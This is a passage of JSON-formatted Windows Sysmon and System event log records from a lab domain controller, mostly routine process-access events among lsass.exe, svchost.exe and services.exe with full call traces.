C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1066,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:50.969\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:50.969","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:50.969\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:50.969","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76804,"ProcessID":852,"ThreadID":936,"Channel":"System","Message":"The AmazonSSMAgent service entered the running state.","param1":"AmazonSSMAgent","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.250\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 